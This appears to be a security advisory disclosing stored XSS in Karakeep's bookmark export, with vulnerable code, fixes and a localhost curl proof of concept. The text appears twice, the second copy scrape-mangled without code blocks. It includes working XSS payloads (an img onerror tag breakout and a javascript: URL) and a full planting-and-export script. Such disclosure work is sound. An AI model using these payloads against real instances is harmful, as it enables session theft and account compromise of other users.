Summary
Karakeep's Netscape bookmark export (GET /api/bookmarks/export?format=netscape) emits an HTML file (Content-Type: text/html) that contains two unsanitized sinks:
- Tag names are concatenated directly into the
TAGS="..." HTML attribute with no escaping, allowing both attribute-context XSS (via ") and element-context XSS (via ">).
- Bookmark URLs are passed through
encodeURI() only, which does not strip dangerous protocols, allowing javascript: URLs to land in the HREF= attribute.
While the response carries Content-Disposition: attachment (so the browser downloads rather than renders inline), the file is text/html and JavaScript executes when the user opens the downloaded .html, for example to view their backup, or to import it into another application.
Details
Finding 1: tag name attribute injection
// packages/shared/import-export/exporters.ts:114-115
const tagNames = bookmark.tags.map((t) => t.name).join(",");
const tags = tagNames.length > 0 ? `TAGS="${tagNames}"` : "";
The bookmark title is escaped via escapeHtml() (line 119) and the URL is passed through encodeURI() (line 117), but tag names receive no treatment whatsoever. A tag named xss" onmouseover=alert(1) data-x=" produces:
<DT><A HREF="..." ADD_DATE="..." TAGS="xss" onmouseover=alert(1) data-x="">Title</A>
A tag named "><img src=x onerror=alert(document.domain)> breaks out of both the attribute and the <A> element entirely.
Finding 2: javascript: URL passthrough
// packages/shared/import-export/exporters.ts:117,121
const encodedUrl = encodeURI(bookmark.content.url);
return ` <DT><A HREF="${encodedUrl}" ${addDate} ${tags}>${encodedTitle}</A>`;
encodeURI("javascript:alert(1)") returns the string unchanged (every character is a valid URI character). There is no scheme allowlist. The Zod validator at storage time also accepts javascript: URLs:
// packages/shared/types/bookmarks.ts:170
url: z.string().url(), // accepts javascript:alert(1)
The response handler that serves the file is at apps/web/app/api/bookmarks/export/route.tsx:104-109, where Content-Type: text/html is set.
Suggested fixes
Finding 1: escape tag names with the existing helper:
import { escapeHtml } from './escape';
const tagNames = bookmark.tags.map((t) => escapeHtml(t.name)).join(",");
Alternatively, constrain tag names at write time to a safe character class (e.g. ^[\p{L}\p{N} _\-.,]{1,64}$).
Finding 2: allowlist URL schemes at storage time, and again at export time:
const SAFE_SCHEMES = new Set(['http:', 'https:', 'ftp:', 'mailto:']);
url: z.string().url().refine(
(u) => SAFE_SCHEMES.has(new URL(u).protocol),
{ message: 'unsupported URL scheme' },
),
Defense in depth: add X-Content-Type-Options: nosniff and serve as application/octet-stream instead of text/html so import tools cannot mishandle the response. The underlying sanitization fixes are still needed.
PoC
Tested against a local Karakeep instance at http://127.0.0.1:59387. No admin privileges required; any user account reproduces both findings on their own bookmarks.
TARGET="http://127.0.0.1:59387"
# 1. Register and authenticate via NextAuth credentials login
curl -s -X POST "$TARGET/api/trpc/users.create" \
-H 'Content-Type: application/json' \
-d '{"json":{"name":"A","email":"a@a.io","password":"Admin12345678901!","confirmPassword":"Admin12345678901!"}}'
CSRF=$(curl -s -c /tmp/c "$TARGET/api/auth/csrf" \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])')
curl -s -c /tmp/c -b /tmp/c -X POST "$TARGET/api/auth/callback/credentials" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "csrfToken=$CSRF" --data-urlencode 'email=a@a.io' \
--data-urlencode 'password=Admin12345678901!' -o /dev/null
# 2. Create a bookmark
BID=$(curl -s -b /tmp/c -X POST "$TARGET/api/trpc/bookmarks.createBookmark" \
-H 'Content-Type: application/json' \
-d '{"json":{"type":"link","url":"https://example.com/","title":"t"}}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["data"]["json"]["id"])')
# 3. Plant a malicious tag (Finding 1)
curl -s -b /tmp/c -X POST "$TARGET/api/trpc/bookmarks.updateTags" \
-H 'Content-Type: application/json' \
-d "{\"json\":{\"bookmarkId\":\"$BID\",\"attach\":[{\"tagName\":\"\\\"><img src=x onerror=alert(document.domain)>\"}],\"detach\":[]}}"
# 4. Plant a javascript: bookmark (Finding 2)
curl -s -b /tmp/c -X POST "$TARGET/api/trpc/bookmarks.createBookmark" \
-H 'Content-Type: application/json' \
-d '{"json":{"type":"link","url":"javascript:alert(1)","title":"js"}}'
# 5. Export
curl -s -b /tmp/c "$TARGET/api/bookmarks/export?format=netscape"
Output excerpt:
<DT><A HREF="https://example.com/" ADD_DATE="..." TAGS=""><img src=x onerror=alert(document.domain)>">t</A>
<DT><A HREF="javascript:alert(1)" ADD_DATE="..." >js</A>
Opening the downloaded file in a browser triggers the <img onerror> payload from Finding 1 immediately. The javascript: link from Finding 2 executes when clicked.
Impact
Stored XSS via export file. Any authenticated Karakeep user can plant payloads in their own bookmarks/tags. The vector is also reachable cross-user via Netscape bookmark imports: an attacker can craft a malicious .html import that any victim later re-exports, so the planting step does not require attacker access to the victim's account.
Execution context depends on where the file is opened:
- Local file (
file://): JavaScript executes with whatever local privileges the browser gives that origin (clipboard, navigation, cross-origin fetches the browser allows). Sufficient to phish the victim or exfiltrate other local content the browser can read.
- Re-hosted export: when a user shares their export on a domain they control (personal site, team wiki, etc.), the script executes in that domain's origin, enabling session theft and account compromise against whichever site re-hosts it.
Because tag and URL payloads are stored data, the export remains poisonous on every subsequent re-export until the tag or bookmark is removed.
Summary
Karakeep's Netscape bookmark export (
GET /api/bookmarks/export?format=netscape) emits an HTML file (Content-Type: text/html) that contains two unsanitized sinks:TAGS="..."HTML attribute with no escaping, allowing both attribute-context XSS (via") and element-context XSS (via">).encodeURI()only, which does not strip dangerous protocols, allowingjavascript:URLs to land in theHREF=attribute.While the response carries
Content-Disposition: attachment(so the browser downloads rather than renders inline), the file istext/htmland JavaScript executes when the user opens the downloaded.html, for example to view their backup, or to import it into another application.Details
Finding 1: tag name attribute injection
The bookmark title is escaped via
escapeHtml()(line 119) and the URL is passed throughencodeURI()(line 117), but tag names receive no treatment whatsoever. A tag namedxss" onmouseover=alert(1) data-x="produces:A tag named
"><img src=x onerror=alert(document.domain)>breaks out of both the attribute and the<A>element entirely.Finding 2:
javascript:URL passthroughencodeURI("javascript:alert(1)")returns the string unchanged (every character is a valid URI character). There is no scheme allowlist. The Zod validator at storage time also acceptsjavascript:URLs:The response handler that serves the file is at
apps/web/app/api/bookmarks/export/route.tsx:104-109, whereContent-Type: text/htmlis set.Suggested fixes
Finding 1: escape tag names with the existing helper:
Alternatively, constrain tag names at write time to a safe character class (e.g.
^[\p{L}\p{N} _\-.,]{1,64}$).Finding 2: allowlist URL schemes at storage time, and again at export time:
Defense in depth: add
X-Content-Type-Options: nosniffand serve asapplication/octet-streaminstead oftext/htmlso import tools cannot mishandle the response. The underlying sanitization fixes are still needed.PoC
Tested against a local Karakeep instance at
http://127.0.0.1:59387. No admin privileges required; any user account reproduces both findings on their own bookmarks.Output excerpt:
Opening the downloaded file in a browser triggers the
<img onerror>payload from Finding 1 immediately. Thejavascript:link from Finding 2 executes when clicked.Impact
Stored XSS via export file. Any authenticated Karakeep user can plant payloads in their own bookmarks/tags. The vector is also reachable cross-user via Netscape bookmark imports: an attacker can craft a malicious
.htmlimport that any victim later re-exports, so the planting step does not require attacker access to the victim's account.Execution context depends on where the file is opened:
file://): JavaScript executes with whatever local privileges the browser gives that origin (clipboard, navigation, cross-origin fetches the browser allows). Sufficient to phish the victim or exfiltrate other local content the browser can read.Because tag and URL payloads are stored data, the export remains poisonous on every subsequent re-export until the tag or bookmark is removed.